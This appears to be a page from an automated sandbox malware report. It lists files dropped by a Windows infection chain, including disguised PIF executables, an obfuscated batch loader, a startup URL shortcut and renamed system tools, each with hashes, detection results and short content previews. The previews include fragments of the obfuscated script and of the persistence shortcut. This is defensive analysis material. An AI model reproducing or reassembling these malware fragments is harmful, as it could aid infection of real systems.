                                                                                    Preview:0000.4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00..0010.b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00..0020.00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00..0030.00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00..0040.ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90..0050.54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73..0060.74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57..0070.69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00..0080.00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00..0090.00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00..00a0.00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00..00b0.00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00..00c0.00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00..00d0.00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00..00e0.00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00..00f0.00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00..0100.50 45 00 00 4c 01 09 00 19 5e 42 2a 00 00 00 00..0110.00 00 00 00 e0 00 8e 81 0b 01 02 19 00 1e 06 00..0120.00 54

                                                                                    C:\Users\Public\Libraries\AnyDesk.PIF

                                                                                    Download File
                                                                                    Process:C:\Users\Public\kn.exe
                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):1209856
                                                                                    Entropy (8bit):7.42839770660366
                                                                                    Encrypted:false
                                                                                    SSDEEP:24576:v3d2q0Hg8P0VXav4wSUtgiXzSz4FMzDVW1SKCDH7U:/4hgVPijSmM3UxAH7
                                                                                    MD5:7EF42010A11B8F4D5C94605C77A478AF
                                                                                    SHA1:2F52D8F84503DA60226CBDF689343CB38320F12E
                                                                                    SHA-256:D0A38BA51150DDF48BDB6E308329E23C5601A2F8B4229ADCABCC285BFC58F730
                                                                                    SHA-512:53E20BB7E81489AE83ABEB2A09BF20AB379DB1E139BF0751CDE048B92C62939C70762FDDD8921C80F005F0305FF73A395E264E2A03B3A0E8D9718CC7F3A9473A
                                                                                    Malicious:true
                                                                                    Antivirus:
                                                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                    Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................T......T7.......@....@..............................................@...........................0..f&...............................n...........................p.......................7...............................text... ........................... ..`.itext.......0...................... ..`.data........@......."..............@....bss.....6...............................idata..f&...0...(..................@....tls....4....`...........................rdata.......p......................@..@.reloc...n.......p..................@..B.rsrc................h..............@..@.....................v..............@..@................................................................................................

                                                                                    C:\Users\Public\Libraries\PNO

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\AnyDesk.PIF
                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                    Category:dropped
                                                                                    Size (bytes):4
                                                                                    Entropy (8bit):2.0
                                                                                    Encrypted:false
                                                                                    SSDEEP:3:hy:Q
                                                                                    MD5:F3D53ACB20D3B23614CC50CF7D98BC96
                                                                                    SHA1:CA0D954E1791524140E4B9C1543B5B16CA0DBCAE
                                                                                    SHA-256:8977F3F496D3D76E04E55AFBFF02FCBE71968324CA08678036E85E9B44C16CBB
                                                                                    SHA-512:73EC7C1389A87406C7EA3E8268E6975BBB86CA5A215F35B7D59A9756D2D8A0B63C48B4D534D2136BDFDD1FB856705D1C59A75E000EFF9D6FCBBB59B9FC2A66C9
                                                                                    Malicious:false
                                                                                    Preview:95..

                                                                                    C:\Users\Public\Libraries\Xdptuvhu

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\AnyDesk.PIF
                                                                                    File Type:data
                                                                                    Category:dropped
                                                                                    Size (bytes):419660
                                                                                    Entropy (8bit):6.43555046556069
                                                                                    Encrypted:false
                                                                                    SSDEEP:12288:KBrlMkUjo4DveHxNnrpEGOFz9cWVAfGWYHW8:KlMkoVDvMIFBe+Z
                                                                                    MD5:8430DB6896ACFE7C8B709ED96FE66A14
                                                                                    SHA1:0C8470004F4B4605CCC5D0DC42CF53ED84BB9A4B
                                                                                    SHA-256:EAAB3EFF2611EAB797EE94239DF4301DED528C85F631035E326CC03073BF093B
                                                                                    SHA-512:4CF4952C617C3FD0FE18C7D85D432AAB76F00CBC61D2AEA4F5C7B16B63C63AF6978C18FEB2E15DD8E60419DEEBC7E78916AA6B39DF7A54E5C49BB64954DB74D8
                                                                                    Malicious:true
                                                                                    Preview:...Y#..K&.......&........&.$'......%.%....$..$....#.%'#..&#.$!.$..'.&...&..'....%.'....#.'.$"...&#'....Y#..K...!"#."..$...Y#..K................................................................................................................................................................8[/.2(:)9.E...*...[.."#&%......&.(.+...&.".#.....%...#.'.#.......!..n.l[{&j.u.o'p.m(.!. .....+...'.*..N.........U!.%... ...%5'G[I.,%D!;$,.0..&..................+W%.....(8.3'>"J.A.;.H[?..(.)%.!.....&....".&.......&.(.+...&.".#.....&...#.'.#..b.z.\!q.^.\[k&z....'..}(.!. ....O+X..'.*R...T.U......!.%1.: 6.4%E'7[9.<%.!.$$....&%..#.'.#.......!.....o.t.........j..Z..*..$.%I $"..d&e.O.:..&. .[j..!...[.*.%...+..n.c#...[..2..). ..........B..(.*z...4+!..%.$..{....*...&X+Z...G...... .#.'....y..&L(.+..`%.!.$....b.d.l....9.*........s.z.q...c.`.n.........3......K.....p.v...z......&y.|.. {#9...L)B[.%...+c.u..)* E...'.......n+i..............................C........h.x.......M...,.........d.....x.v.

                                                                                    C:\Users\Public\Libraries\Xdptuvhu.PIF

                                                                                    Download File
                                                                                    Process:C:\Windows\SysWOW64\esentutl.exe
                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):1209856
                                                                                    Entropy (8bit):7.42839770660366
                                                                                    Encrypted:false
                                                                                    SSDEEP:24576:v3d2q0Hg8P0VXav4wSUtgiXzSz4FMzDVW1SKCDH7U:/4hgVPijSmM3UxAH7
                                                                                    MD5:7EF42010A11B8F4D5C94605C77A478AF
                                                                                    SHA1:2F52D8F84503DA60226CBDF689343CB38320F12E
                                                                                    SHA-256:D0A38BA51150DDF48BDB6E308329E23C5601A2F8B4229ADCABCC285BFC58F730
                                                                                    SHA-512:53E20BB7E81489AE83ABEB2A09BF20AB379DB1E139BF0751CDE048B92C62939C70762FDDD8921C80F005F0305FF73A395E264E2A03B3A0E8D9718CC7F3A9473A
                                                                                    Malicious:true
                                                                                    Antivirus:
                                                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                    Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................T......T7.......@....@..............................................@...........................0..f&...............................n...........................p.......................7...............................text... ........................... ..`.itext.......0...................... ..`.data........@......."..............@....bss.....6...............................idata..f&...0...(..................@....tls....4....`...........................rdata.......p......................@..@.reloc...n.......p..................@..B.rsrc................h..............@..@.....................v..............@..@................................................................................................

                                                                                    C:\Users\Public\Libraries\uhvutpdX.cmd

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\AnyDesk.PIF
                                                                                    File Type:DOS batch file, Unicode text, UTF-8 text, with very long lines (324), with CRLF line terminators
                                                                                    Category:dropped
                                                                                    Size (bytes):62357
                                                                                    Entropy (8bit):4.705712327109906
                                                                                    Encrypted:false
                                                                                    SSDEEP:768:KwVRHlxGSbE0l9swi54HlMhhAKHwT6yQZPtQdtyWNd/Ozc:LbeSI0l9swahhhtwT6VytHNdGzc
                                                                                    MD5:B87F096CBC25570329E2BB59FEE57580
                                                                                    SHA1:D281D1BF37B4FB46F90973AFC65EECE3908532B2
                                                                                    SHA-256:D08CCC9B1E3ACC205FE754BAD8416964E9711815E9CEED5E6AF73D8E9035EC9E
                                                                                    SHA-512:72901ADDE38F50CF6D74743C0A546C0FEA8B1CD4A18449048A0758A7593A176FC33AAD1EBFD955775EEFC2B30532BCC18E4F2964B3731B668DD87D94405951F7
                                                                                    Malicious:false
                                                                                    Preview:@echo off..@echo off..@%.......%e%..%c%...%h%.... ...%o%........% %.%o%.....%f%...%f% ........%..s%.%e%.... %t%r.o......% %....%"%.........%l%.......o.%V%......%W%.....o%a%..........%=%.o....%s%. .o%e%. ....... %t%.% %..%"%.r%..%lVWa%"%......%u%. .%p%.%w%.... %u%.... o...%=%..... %=%... . . %"%.%..%lVWa%"%....%R%.%b%. .... %U%. %p%.%z%...%n% ...%n%...%f%..... . ..%W%.......%i%......%%upwu%C%. .. %l%...%o%........%a%......%"% .... %..%lVWa%"% %r%......%M%....%S%...r... ..%o%....... .%w%.....%X%.....rr%I%..... .

                                                                                    C:\Users\Public\Libraries\uhvutpdX.pif

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\AnyDesk.PIF
                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):68096
                                                                                    Entropy (8bit):6.328046551801531
                                                                                    Encrypted:false
                                                                                    SSDEEP:1536:lR2rJpByeL+39Ua1ITgA8wpuO5CU4GGMGcT4idU:lR2lg9Ua1egkCU60U
                                                                                    MD5:C116D3604CEAFE7057D77FF27552C215
                                                                                    SHA1:452B14432FB5758B46F2897AECCD89F7C82A727D
                                                                                    SHA-256:7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301
                                                                                    SHA-512:9202A00EEAF4C5BE94DE32FD41BFEA40FC32D368955D49B7BAD2B5C23C4EBC92DCCB37D99F5A14E53AD674B63F1BAA6EFB1FEB27225C86693EAD3262A26D66C6
                                                                                    Malicious:true
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 3%
                                                                                    Joe Sandbox View:
                                                                                    • Filename: ORDER_DOCU_NWQ89403984-DETAILS.MPEG.PNG.CMD.cmd, Detection: malicious, Browse
                                                                                    • Filename: ORDER_DOCUMENT_PO_GQB793987646902.TXT.MPEG.PNG.CMD.cmd, Detection: malicious, Browse
                                                                                    • Filename: Julcbozqsvtzlo.cmd, Detection: malicious, Browse
                                                                                    • Filename: Confirmation.docx.exe, Detection: malicious, Browse
                                                                                    • Filename: ZG7UaFRPVW.exe, Detection: malicious, Browse
                                                                                    • Filename: IN-34823_PO39276-pdf.vbe, Detection: malicious, Browse
                                                                                    • Filename: 7XU2cRFInT.exe, Detection: malicious, Browse
                                                                                    • Filename: megerosites.cmd, Detection: malicious, Browse
                                                                                    • Filename: Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe, Detection: malicious, Browse
                                                                                    • Filename: Payroll for July.exe, Detection: malicious, Browse
                                                                                    Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....8.......................p....................@.............................................. ...................p.......`...............................................................P.......................................................text............................... ..`.data....p.......0..................@....tls.........@......................@....rdata.......P......................@..P.idata.......`......................@..@.edata.......p......................@..@

                                                                                    C:\Users\Public\Xdptuvhu.url

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\AnyDesk.PIF
                                                                                    File Type:MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Xdptuvhu.PIF">), ASCII text, with CRLF line terminators
                                                                                    Category:dropped
                                                                                    Size (bytes):104
                                                                                    Entropy (8bit):5.1639930840851225
                                                                                    Encrypted:false
                                                                                    SSDEEP:3:HRAbABGQYmTWAX+rSF55i0XMbtssvsbxoLvt1A+ov:HRYFVmTWDyz+ZEx8K+y
                                                                                    MD5:85EEA56A5A8DF79BE212B3B519F4857B
                                                                                    SHA1:8BE4F2E9AF4981B1DEEE806DDEE680324A98DE73
                                                                                    SHA-256:D211157EE39F277E5F99E85EA22A3605A4D6D90BE5CF9253DE3ADA669C0AEEB0
                                                                                    SHA-512:922B64B02BE32B535189713F884B4D351C1FD46629B0F65739344FA8EDFF8C3055F9778610BEF3D61E10FA85C14D705DC82DFE68C1919CE3BD4840CB3623088A
                                                                                    Malicious:true
                                                                                    Preview:[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Xdptuvhu.PIF"..IconIndex=960396..HotKey=87..

                                                                                    C:\Users\Public\alpha.exe

                                                                                    Download File
                                                                                    Process:C:\Windows\System32\extrac32.exe
                                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                    Category:modified
                                                                                    Size (bytes):289792
                                                                                    Entropy (8bit):6.135598950357573
                                                                                    Encrypted:false
                                                                                    SSDEEP:6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
                                                                                    MD5:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                    SHA1:F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D
                                                                                    SHA-256:B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450
                                                                                    SHA-512:99E784141193275D4364BA1B8762B07CC150CA3CB7E9AA1D4386BA1FA87E073D0500E61572F8D1B071F2FAA2A51BB123E12D9D07054B59A1A2FD768AD9F24397
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........OH...&...&...&..V...&..E%...&..E"...&...'../&..E'...&..E#...&..E+...&..E....&..E$...&.Rich..&.................PE..d...S.............".................P..........@.............................p............`.................................................(...................4#...........`......`Z..T............................,...............4...... ........................text............................... ..`.rdata..<.... ......................@..@.data...P...........................@....pdata..4#.......$..................@..@.didat..............................@....rsrc...............................@..@.reloc.......`.......h..............@..B........................................................................................................................................................................................................................

                                                                                    C:\Users\Public\alpha.pif

                                                                                    Download File
                                                                                    Process:C:\Windows\SysWOW64\esentutl.exe
                                                                                    File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):236544
                                                                                    Entropy (8bit):6.4416694948877025
                                                                                    Encrypted:false
                                                                                    SSDEEP:6144:i4VU52dn+OAdUV0RzCcXkThYrK9qqUtmtime:i4K2B+Ob2h0NXIn
                                                                                    MD5:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                    SHA1:4048488DE6BA4BFEF9EDF103755519F1F762668F
                                                                                    SHA-256:4D89FC34D5F0F9BABD022271C585A9477BF41E834E46B991DEAA0530FDB25E22
                                                                                    SHA-512:80E127EF81752CD50F9EA2D662DC4D3BF8DB8D29680E75FA5FC406CA22CAFA5C4D89EF2EAC65B486413D3CDD57A2C12A1CB75F65D1E312A717D262265736D1C2
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+.l.J.?.J.?.J.?.2(?.J.?.!.>.J.?.!.>.J.?.J.?.K.?.!.>.J.?.!.>.J.?.!.>.J.?.!D?.J.?.!.>.J.?Rich.J.?................PE..L....~.............................. k............@..................................j....@.................................................................p...%...5..T............................................................................text............................... ..`.data...8...........................@....idata...$.......&..................@..@.didat..H...........................@....rsrc...............................@..@.reloc...%...p...&...v..............@..B................................................................................................................................................................................................................................................................................

                                                                                    C:\Users\Public\kn.exe

                                                                                    Download File
                                                                                    Process:C:\Windows\System32\extrac32.exe
                                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                    Category:modified
                                                                                    Size (bytes):1651712
                                                                                    Entropy (8bit):6.144018815244304
                                                                                    Encrypted:false
                                                                                    SSDEEP:24576:MeiElH5YZ5cv6r3HiaZQ8p4XGwiJDgN7MaikGLIsWWi4pT/Y/7hsyDAP760MKR:Me3lZYUvmSu4XTckYD0sWWiwT/MhTzK
                                                                                    MD5:F17616EC0522FC5633151F7CAA278CAA
                                                                                    SHA1:79890525360928A674D6AEF11F4EDE31143EEC0D
                                                                                    SHA-256:D252235AA420B91C38BFEEC4F1C3F3434BC853D04635453648B26B2947352889
                                                                                    SHA-512:3ED65172159CD1BCC96B5A0B41D3332DE33A631A167CE8EE8FC43F519BB3E2383A58737A41D25AA694513A68C639F0563A395CD18063975136DE1988094E9EF7
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u}{h1..;1..;1..;..;0..;%w.:2..;%w.:*..;%w.:!..;%w.:...;1..;...;%w.:...;%w.;0..;%w.:0..;Rich1..;................PE..d...+. H.........."..................L.........@....................................q.....`.......... ......................................@Q.......`..@........x..............l'..p5..T...........................`(..............x)......XC.......................text............................... ..`.rdata..T...........................@..@.data....&..........................@....pdata...x.......z...|..............@..@.didat.......P......................@....rsrc...@....`......................@..@.reloc..l'.......(..................@..B........................................................................................................................................................................................................................

                                                                                    C:\Users\Public\xpha.pif

                                                                                    Download File
                                                                                    Process:C:\Windows\SysWOW64\esentutl.exe
                                                                                    File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):18944
                                                                                    Entropy (8bit):5.742964649637377
                                                                                    Encrypted:false
                                                                                    SSDEEP:384:PVhNH/TqNcx+5tTAjtn3bPcPwoeGULZbiWBlWjVw:PVhZXx+5tTetLVohULZJgw
                                                                                    MD5:B3624DD758CCECF93A1226CEF252CA12
                                                                                    SHA1:FCF4DAD8C4AD101504B1BF47CBBDDBAC36B558A7
                                                                                    SHA-256:4AAA74F294C15AEB37ADA8185D0DEAD58BD87276A01A814ABC0C4B40545BF2EF
                                                                                    SHA-512:C613D18511B00FA25FC7B1BDDE10D96DEBB42A99B5AAAB9E9826538D0E229085BB371F0197F6B1086C4F9C605F01E71287FFC5442F701A95D67C232A5F031838
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......G.[...5]..5]..5]..]'.5]..0\..5]..6\..5]..1\..5]..4]Q.5]..4\..5]..=\..5]...]..5]..7\..5]Rich..5]................PE..L....$Z..................*...2......P4.......@....@..................................c....@...... ..........................`a..|....p.. ...............................T............................................`..\............................text....).......*.................. ..`.data........@......................@....idata.......`.......0..............@..@.rsrc... ....p.......<..............@..@.reloc...............F..............@..B........................................................................................................................................................................................................................................................................................................................

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-console-l1-1-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):18744
                                                                                    Entropy (8bit):7.080160932980843
                                                                                    Encrypted:false
                                                                                    SSDEEP:192:3jBMWIghWGZiKedXe123Ouo+Uggs/nGfe4pBjS/uBmWh0txKdmVWQ4GWDZoiyqnP:GWPhWVXYi00GftpBjSemTltcwpS
                                                                                    MD5:502263C56F931DF8440D7FD2FA7B7C00
                                                                                    SHA1:523A3D7C3F4491E67FC710575D8E23314DB2C1A2
                                                                                    SHA-256:94A5DF1227818EDBFD0D5091C6A48F86B4117C38550343F780C604EEE1CD6231
                                                                                    SHA-512:633EFAB26CDED9C3A5E144B81CBBD3B6ADF265134C37D88CFD5F49BB18C345B2FC3A08BA4BBC917B6F64013E275239026829BA08962E94115E94204A47B80221
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....."............!......................... ...............................0.......J....@.............................+............ ..................8=..............T............................................................................text...+........................... ..`.rsrc........ ......................@..@......".........;...T...T.........".........d.................".....................RSDSMB...5.G.8.'.d.....api-ms-win-core-console-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......+....edata... ..`....rsrc$01....` .......rsrc$02......................".....................(...`...............,...W...................G...o...............................D...s...............5...b...............................................api-ms-win-core-console-l1-1-0.dll.AllocConsole.kern

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-datetime-l1-1-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):18232
                                                                                    Entropy (8bit):7.093995452106596
                                                                                    Encrypted:false
                                                                                    SSDEEP:192:RWIghWG4U9xluZo123Ouo+Uggs/nGfe4pBjSbMDPxVWh0txKdmVWQ4CWrDry6qnZ:RWPhWFv0i00GftpBjBHem6plUG+zIw
                                                                                    MD5:CB978304B79EF53962408C611DFB20F5
                                                                                    SHA1:ECA42F7754FB0017E86D50D507674981F80BC0B9
                                                                                    SHA-256:90FAE0E7C3644A6754833C42B0AC39B6F23859F9A7CF4B6C8624820F59B9DAD3
                                                                                    SHA-512:369798CD3F37FBAE311B6299DA67D19707D8F770CF46A8D12D5A6C1F25F85FC959AC5B5926BC68112FA9EB62B402E8B495B9E44F44F8949D7D648EA7C572CF8C
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...A..............!......................... ...............................0.......#....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....A...........<...T...T.......A...........d...............A.......................RSDS...W,X.l..o....4....api-ms-win-core-datetime-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02....................A.......P...............(...8...H...................t.......................api-ms-win-core-datetime-l1-1-0.dll.GetDateFormatA.kernel32.GetDateFormatA.GetDateFormatW.kernel32.GetDateFormatW.GetTimeFormatA.kernel32.GetTimeFormatA

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-debug-l1-1-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):18232
                                                                                    Entropy (8bit):7.1028816880814265
                                                                                    Encrypted:false
                                                                                    SSDEEP:384:cWPhWM4Ri00GftpBj2YILemtclD16PaEC:l10oiBQe/L
                                                                                    MD5:88FF191FD8648099592ED28EE6C442A5
                                                                                    SHA1:6A4F818B53606A5602C609EC343974C2103BC9CC
                                                                                    SHA-256:C310CC91464C9431AB0902A561AF947FA5C973925FF70482D3DE017ED3F73B7D
                                                                                    SHA-512:942AE86550D4A4886DAC909898621DAB18512C20F3D694A8AD444220AEAD76FA88C481DF39F93C7074DBBC31C3B4DAF97099CFED86C2A0AAA4B63190A4B307FD
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......GF....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@................9...T...T...................d.......................................RSDS.j..v..C...B..h....api-ms-win-core-debug-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................P...............(...8...H...|...............q.......................api-ms-win-core-debug-l1-1-0.dll.DebugBreak.kernel32.DebugBreak.IsDebuggerPresent.kernel32.IsDebuggerPresent.OutputDebugStringA.kernel32.OutputDebugStri

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-errorhandling-l1-1-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):18232
                                                                                    Entropy (8bit):7.126358371711227
                                                                                    Encrypted:false
                                                                                    SSDEEP:192:NFmxD3PWIghWGJY/luZo123Ouo+Uggs/nGfe4pBjSffcp8Wh0txKdmVWQ4yWRzOr:NFkWPhW60i00GftpBj4emHlD16Pa7v
                                                                                    MD5:6D778E83F74A4C7FE4C077DC279F6867
                                                                                    SHA1:F5D9CF848F79A57F690DA9841C209B4837C2E6C3
                                                                                    SHA-256:A97DCCA76CDB12E985DFF71040815F28508C655AB2B073512E386DD63F4DA325
                                                                                    SHA-512:02EF01583A265532D3970B7D520728AA9B68F2B7C309EE66BD2B38BAF473EF662C9D7A223ACF2DA722587429DA6E4FBC0496253BA5C41E214BEA240CE824E8A2
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\x.............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....\x..........A...T...T.......\x..........d...............\x......................RSDS.1....U45.z.d.....api-ms-win-core-errorhandling-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............\x......n...............(...D...`...................4...f.......................'...J.....................api-ms-win-core-errorhandling-l1-1-0.dll.GetErrorMode.kernel32.GetErrorMode.GetLastError.kernel32.GetLastError.RaiseExcept

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-file-l1-1-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):21816
                                                                                    Entropy (8bit):7.014255619395433
                                                                                    Encrypted:false
                                                                                    SSDEEP:384:d6PvVXHWPhWnsnhi00GftpBjaJemyDlD16PamW8:UPvVX85nhoisJeLt8
                                                                                    MD5:94AE25C7A5497CA0BE6882A00644CA64
                                                                                    SHA1:F7AC28BBC47E46485025A51EEB6C304B70CEE215
                                                                                    SHA-256:7EA06B7050F9EA2BCC12AF34374BDF1173646D4E5EBF66AD690B37F4DF5F3D4E
                                                                                    SHA-512:83E570B79111706742D0684FC16207AE87A78FA7FFEF58B40AA50A6B9A2C2F77FE023AF732EF577FB7CD2666E33FFAF0E427F41CA04075D83E0F6A52A177C2B0
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!.........................0...............................@......./....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@...............8...T...T..................d......................................RSDS.0...B..8....G....api-ms-win-core-file-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................K...K.......D...p...6...`.......................?...l...............A...................6..._...................;...e............... ...I...n...............-...d...................*...g...............*...U...................M...

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-file-l1-2-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):18232
                                                                                    Entropy (8bit):7.112057846012794
                                                                                    Encrypted:false
                                                                                    SSDEEP:192:IWIghWGJnWdsNtL/123Ouo+Uggs/nGfe4pBjSfcD63QXWh0txKdmVWQ4yW1rwqnh:IWPhWlsnhi00GftpBjnem9lD16PamFP
                                                                                    MD5:E2F648AE40D234A3892E1455B4DBBE05
                                                                                    SHA1:D9D750E828B629CFB7B402A3442947545D8D781B
                                                                                    SHA-256:C8C499B012D0D63B7AFC8B4CA42D6D996B2FCF2E8B5F94CACFBEC9E6F33E8A03
                                                                                    SHA-512:18D4E7A804813D9376427E12DAA444167129277E5FF30502A0FA29A96884BF902B43A5F0E6841EA1582981971843A4F7F928F8AECAC693904AB20CA40EE4E954
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...._.L...........!......................... ...............................0............@.............................L............ ..................8=..............T............................................................................text...<........................... ..`.rsrc........ ......................@..@....._.L........8...T...T........_.L........d................_.L....................RSDS........g"Y........api-ms-win-core-file-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg.......L....edata... ..`....rsrc$01....` .......rsrc$02........._.L....@...................(...8...l...............`.......................api-ms-win-core-file-l1-2-0.dll.CreateFile2.kernel32.CreateFile2.GetTempPathW.kernel32.GetTempPathW.GetVolumeNameForVolumeMountPointW.kernel32.GetVolumeNameForVolumeMou

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-file-l2-1-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):18232
                                                                                    Entropy (8bit):7.166618249693435
                                                                                    Encrypted:false
